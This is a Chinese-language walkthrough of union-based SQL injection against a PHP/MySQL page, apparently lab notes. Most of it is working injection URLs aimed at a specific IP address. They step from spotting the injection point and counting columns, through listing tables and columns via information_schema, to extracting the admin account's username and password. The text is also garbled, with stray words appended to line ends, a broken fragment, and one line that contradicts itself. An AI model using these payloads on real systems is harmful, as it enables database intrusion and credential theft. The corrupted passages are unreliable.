id=1',在1后面加',页面出错
id=1 and 1=1正常,id=1 and 1=2,页面出错
id=1 and 1='1'正常,id=1 and 1='1'页面出错
注:经过构造错误的语句,根据返回结果来判断是否存在注入点php
information_schema
MySQL 5.0以上自带的数据库,记录当前MySQL下全部数据库名、表名、字段名mysql
,z)@@version,@@datadir,
``,@@version_compile_os,char(48))减小视觉污染,在某个回显点不显示内容
nullsql
注:查询列名时,回显点有可能会显示出其余数据库中的同表名的列名,是由于其余数据库中可能存在同名的表
union select 1,2,3,4,5,6,7,8,9,10 from 表名
在回显点选择想要得到的字段名,如:
union select 1,2,3,4,password,6,7,8,9,10 from 表名数据库
目标连接:http://120.203.13.75:6815/index.php服务器
找注入点:函数
http://120.203.13.75:6815/index.php?id=1 and 1=2
判断字段数spa
http://120.203.13.75:6815/index.php?id=1 order by 2
一、2均正常显示,3的时候出现异常,则当前表的字段数为2code
判断回显点orm
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2
查相关内容(必定要在回显点处查看!)
查数据库名blog
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()
查数据库版本(mysql>5.0,5.0 之后的版本才有information_schema, information_schema存储着数据库名、表名、列的数据类型、访问权限等)
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()
查表名
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查字段名
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
查出 admin 表里 有 id username password 三个字段
查询字段内容
构造
?id=1 and 1=2 union select 1,username from admin limit 0,1
构造
?id=1 and 1=2 union select 1,password from admin limit 1,1
limit 1,1 没有回显,说明只有一个用户
构造
?id=1 and 1=2 union select 1,password from admin limit 0,1
如此,获得了管理员帐号和密码